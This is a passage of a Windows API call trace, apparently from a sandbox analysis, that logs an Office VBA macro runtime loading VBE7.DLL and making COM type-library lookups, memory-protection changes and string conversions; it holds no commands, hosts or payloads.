This=0x81de138, ppTLib=0x264710, pIndex=0x0 | out: ppTLib=0x264710*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.013] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x264720, pDummy=0x0 | out: ppTLibAttr=0x264720, pDummy=0x0) returned 0x0 [0037.013] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.013] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.013] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x264710, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.013] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x264710, pbstrName=0x0, pwOrdinal=0x264730 | out: pBstrDllName=0x264710*=0x0, pbstrName=0x0, pwOrdinal=0x264730*=0x49a0) returned 0x0 [0037.013] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000) returned 0x0 [0037.013] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de138, ppTLib=0x264bb0, pIndex=0x0 | out: ppTLib=0x264bb0*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.013] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x264bc0, pDummy=0x0 | out: ppTLibAttr=0x264bc0, pDummy=0x0) returned 0x0 [0037.013] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.013] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.013] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612748, invkind=1, refPtrFlags=0x264bb0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.013] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x264bb0, pbstrName=0x0, pwOrdinal=0x264bd0 | out: pBstrDllName=0x264bb0*=0x0, pbstrName=0x0, pwOrdinal=0x264bd0*=0x4e40) returned 0x0 [0037.013] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x264bb0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x264bb0, pwOrdinal=0x500000000) returned 0x0 [0037.013] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de138, ppTLib=0x263ec0, pIndex=0x0 | out: ppTLib=0x263ec0*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.013] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x263ed0, pDummy=0x0 | out: ppTLibAttr=0x263ed0, pDummy=0x0) returned 0x0 [0037.013] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.013] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.013] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x263ec0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x263ec0, pbstrName=0x0, pwOrdinal=0x263ee0 | out: pBstrDllName=0x263ec0*=0x0, pbstrName=0x0, pwOrdinal=0x263ee0*=0x4150) returned 0x0 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x263ec0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x263ec0, pwOrdinal=0x500000000) returned 0x0 [0037.014] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de138, ppTLib=0x263ec0, pIndex=0x0 | out: ppTLib=0x263ec0*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.014] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x263ed0, pDummy=0x0 | out: ppTLibAttr=0x263ed0, pDummy=0x0) returned 0x0 [0037.014] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.014] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x263ec0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x263ec0, pbstrName=0x0, pwOrdinal=0x263ee0 | out: pBstrDllName=0x263ec0*=0x0, pbstrName=0x0, pwOrdinal=0x263ee0*=0x4150) returned 0x0 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x263ec0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x263ec0, pwOrdinal=0x500000000) returned 0x0 [0037.014] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de138, ppTLib=0x263fa0, pIndex=0x0 | out: ppTLib=0x263fa0*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.014] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x263fb0, pDummy=0x0 | out: ppTLibAttr=0x263fb0, pDummy=0x0) returned 0x0 [0037.014] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.014] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612756, invkind=1, refPtrFlags=0x263fa0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x263fa0, pbstrName=0x0, pwOrdinal=0x263fc0 | out: pBstrDllName=0x263fa0*=0x0, pbstrName=0x0, pwOrdinal=0x263fc0*=0x4230) returned 0x0 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x263fa0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x263fa0, pwOrdinal=0x500000000) returned 0x0 [0037.014] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de190, ppTLib=0x2643e0, pIndex=0x0 | out: ppTLib=0x2643e0*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.014] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x2643f0, pDummy=0x0 | out: ppTLibAttr=0x2643f0, pDummy=0x0) returned 0x0 [0037.014] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.014] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de190, memid=1610612743, invkind=1, refPtrFlags=0x2643e0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de190, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x2643e0, pbstrName=0x0, pwOrdinal=0x264400 | out: pBstrDllName=0x2643e0*=0x0, pbstrName=0x0, pwOrdinal=0x264400*=0x4670) returned 0x0 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de190, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x2643e0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x2643e0, pwOrdinal=0x500000000) returned 0x0 [0037.014] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de138, ppTLib=0x2647d0, pIndex=0x0 | out: ppTLib=0x2647d0*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.014] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x2647e0, pDummy=0x0 | out: ppTLibAttr=0x2647e0, pDummy=0x0) returned 0x0 [0037.014] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.014] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x2647d0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x2647d0, pbstrName=0x0, pwOrdinal=0x2647f0 | out: pBstrDllName=0x2647d0*=0x0, pbstrName=0x0, pwOrdinal=0x2647f0*=0x4a60) returned 0x0 [0037.014] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x2647d0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x2647d0, pwOrdinal=0x500000000) returned 0x0 [0037.014] IMalloc:Realloc (This=0x7feff045380, pv=0x7cd4520, cb=0x2ce) returned 0x7cad3c0 [0037.014] IMalloc:Free (This=0x7feff045380, pv=0x805f5f0) [0037.014] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278681, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278680, dwSize=0x8) returned 1 [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160888, dwSize=0x39) returned 1 [0037.015] VirtualProtect (in: lpAddress=0x8160888, dwSize=0x39, flNewProtect=0x40, lpflOldProtect=0x264ebc | out: lpflOldProtect=0x264ebc*=0x40) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e9, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e8, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608f8, dwSize=0x2) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8277fa0, dwSize=0x5d) returned 1 [0037.015] VirtualProtect (in: lpAddress=0x8277fa0, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160941, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160940, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160950, dwSize=0x2) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82781ec, dwSize=0x57) returned 1 [0037.015] VirtualProtect (in: lpAddress=0x82781ec, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278031, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278030, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278040, dwSize=0x2) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278098, dwSize=0x93) returned 1 [0037.015] VirtualProtect (in: lpAddress=0x8278098, dwSize=0x94, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278279, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278278, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278288, dwSize=0x2) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82782dc, dwSize=0x57) returned 1 [0037.015] VirtualProtect (in: lpAddress=0x82782dc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278369, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.015] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278368, dwSize=0x8) returned 1 [0037.015] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278378, dwSize=0x2) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827843c, dwSize=0x45) returned 1 [0037.016] VirtualProtect (in: lpAddress=0x827843c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82784c4, dwSize=0x45) returned 1 [0037.016] VirtualProtect (in: lpAddress=0x82784c4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278541, dwSize=0x8) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278540, dwSize=0x8) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278550, dwSize=0x2) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82785a4, dwSize=0x55) returned 1 [0037.016] VirtualProtect (in: lpAddress=0x82785a4, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278681, dwSize=0x8) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278680, dwSize=0x8) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278690, dwSize=0x2) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82786e4, dwSize=0x55) returned 1 [0037.016] VirtualProtect (in: lpAddress=0x82786e4, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278771, dwSize=0x8) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278770, dwSize=0x8) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278780, dwSize=0x2) returned 1 [0037.016] GetCurrentProcess () returned 0xffffffffffffffff [0037.016] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82787d8, dwSize=0x5d) returned 1 [0037.016] VirtualProtect (in: lpAddress=0x82787d8, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.016] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.016] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0037.016] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee3ce0000 [0037.017] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001ed) returned 1 [0037.017] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.017] GetProcAddress (hModule=0x7fee3ce0000, lpProcName=0x260) returned 0x7fee3e4ae28 [0037.017] GetCurrentProcess () returned 0xffffffffffffffff [0037.017] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82794cc, dwSize=0x43) returned 1 [0037.017] RtlLookupFunctionEntry (in: ControlPc=0x82794cc, ImageBase=0x264ce8, HistoryTable=0x264cf0 | out: ImageBase=0x264ce8, HistoryTable=0x264cf0) returned 0x0 [0037.017] VirtualProtect (in: lpAddress=0x82794cc, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x264dec | out: lpflOldProtect=0x264dec*=0x4) returned 1 [0037.017] RtlAddFunctionTable (FunctionTable=0x827951c, EntryCount=0x1, BaseAddress=0x8279400, TargetGp=0x264dec) returned 1 [0037.017] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.017] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0037.017] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee3ce0000 [0037.018] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001ee) returned 1 [0037.018] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.018] GetProcAddress (hModule=0x7fee3ce0000, lpProcName=0x269) returned 0x7fee3e4d48c [0037.018] GetCurrentProcess () returned 0xffffffffffffffff [0037.018] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8279594, dwSize=0x4b) returned 1 [0037.018] RtlLookupFunctionEntry (in: ControlPc=0x8279594, ImageBase=0x264ce8, HistoryTable=0x264cf0 | out: ImageBase=0x264ce8, HistoryTable=0x264cf0) returned 0x0 [0037.018] VirtualProtect (in: lpAddress=0x8279594, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0x264dec | out: lpflOldProtect=0x264dec*=0x40) returned 1 [0037.018] RtlAddFunctionTable (FunctionTable=0x82795ec, EntryCount=0x1, BaseAddress=0x8279500, TargetGp=0x264dec) returned 1 [0037.018] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.018] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0037.018] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee3ce0000 [0037.018] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001ef) returned 1 [0037.019] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.019] GetProcAddress (hModule=0x7fee3ce0000, lpProcName=0x26b) returned 0x7fee3e4d5a8 [0037.019] GetCurrentProcess () returned 0xffffffffffffffff [0037.019] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82796b4, dwSize=0x4b) returned 1 [0037.019] RtlLookupFunctionEntry (in: ControlPc=0x82796b4, ImageBase=0x264ce8, HistoryTable=0x264cf0 | out: ImageBase=0x264ce8, HistoryTable=0x264cf0) returned 0x0 [0037.019] VirtualProtect (in: lpAddress=0x82796b4, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0x264dec | out: lpflOldProtect=0x264dec*=0x40) returned 1 [0037.019] RtlAddFunctionTable (FunctionTable=0x827970c, EntryCount=0x1, BaseAddress=0x8279600, TargetGp=0x264dec) returned 1 [0037.019] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.019] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0037.019] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee3ce0000 [0037.019] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001f0) returned 1 [0037.019] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.020] GetProcAddress (hModule=0x7fee3ce0000, lpProcName=0x245) returned 0x7fee3e4a6c8 [0037.020] GetCurrentProcess () returned 0xffffffffffffffff [0037.020] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8279784, dwSize=0x3b) returned 1 [0037.020] RtlLookupFunctionEntry (in: ControlPc=0x8279784, ImageBase=0x264ce8, HistoryTable=0x264cf0 | out: ImageBase=0x264ce8, HistoryTable=0x264cf0) returned 0x0 [0037.020] VirtualProtect (in: lpAddress=0x8279784, dwSize=0x3c, flNewProtect=0x40, lpflOldProtect=0x264dec | out: lpflOldProtect=0x264dec*=0x40) returned 1 [0037.020] RtlAddFunctionTable (FunctionTable=0x82797cc, EntryCount=0x1, BaseAddress=0x8279700, TargetGp=0x264dec) returned 1 [0037.020] IUnknown:AddRef (This=0x8087e90) returned 0x9 [0037.020] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.020] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.020] IUnknown:Release (This=0x8087e90) returned 0x8 [0037.020] IUnknown:AddRef (This=0x81ddbb8) returned 0x3 [0037.020] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.020] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.020] IUnknown:Release (This=0x81ddbb8) returned 0x2 [0037.020] IUnknown:AddRef (This=0x81de138) returned 0x5 [0037.020] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.020] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.020] IUnknown:Release (This=0x81de138) returned 0x4 [0037.020] IUnknown:AddRef (This=0x81de190) returned 0x3 [0037.020] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.020] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.020] IUnknown:Release (This=0x81de190) returned 0x2 [0037.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c5fc8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c53f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.022] VarBstrCat (in: 